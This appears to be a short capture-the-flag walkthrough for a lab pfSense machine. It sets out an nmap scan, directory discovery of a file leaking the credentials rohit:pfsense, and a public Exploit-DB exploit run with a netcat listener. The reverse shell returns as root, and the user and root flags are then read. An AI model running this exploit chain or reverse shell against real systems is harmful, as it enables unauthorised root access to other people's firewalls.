

```
[*]$ nmap -Pn -T4 -A -v 10.129.42.238
```

```
80/tcp open  http          lighttpd 1.4.35
|_ http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-server-header: lighttpd/1.4.35
|_ http-title: Did not follow redirect to https://10.129.42.238/
|_ https-redirect: ERROR: Script execution failed (use -d to debug)
443/tcp open  ssl/https?
|_ ssl-date: TLS randomness does not represent time
```

Dirbuster, with the directory-list-lowercase-2.3-medium.txt, finds a system-user.txt which exposes the PFSense login credentials :

```
https://10.129.42.238/system-users.txt
```

```
#####Support ticket###
Please create the following user
username: Rohit
password: company defaults

rohit:pfsense
```

```
https://www.exploit-db.com/exploits/43560
```

```
└─ [*]$ nc -lvnp 1234
listening on [any] 1234 ...
```

```
└─ [*]$ python3 exploit.py --rhost 10.129.42.238 --lhost 10.10.14.7 --lport 1234 --username rohit
--password pfsense
CSRF token obtained
Running exploit...
Exploit completed
```

```
└─ [*]$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.7] from (UNKNOWN) [10.129.42.238] 54697
sh: can't access tty; job control turned off
# whoami
root
# cd /
# cd home
# cd rohit
# cat user.txt
8721327cc232*****
# cd /
# cd root
# cat root.txt
d08c32a5d4f8*****
#
```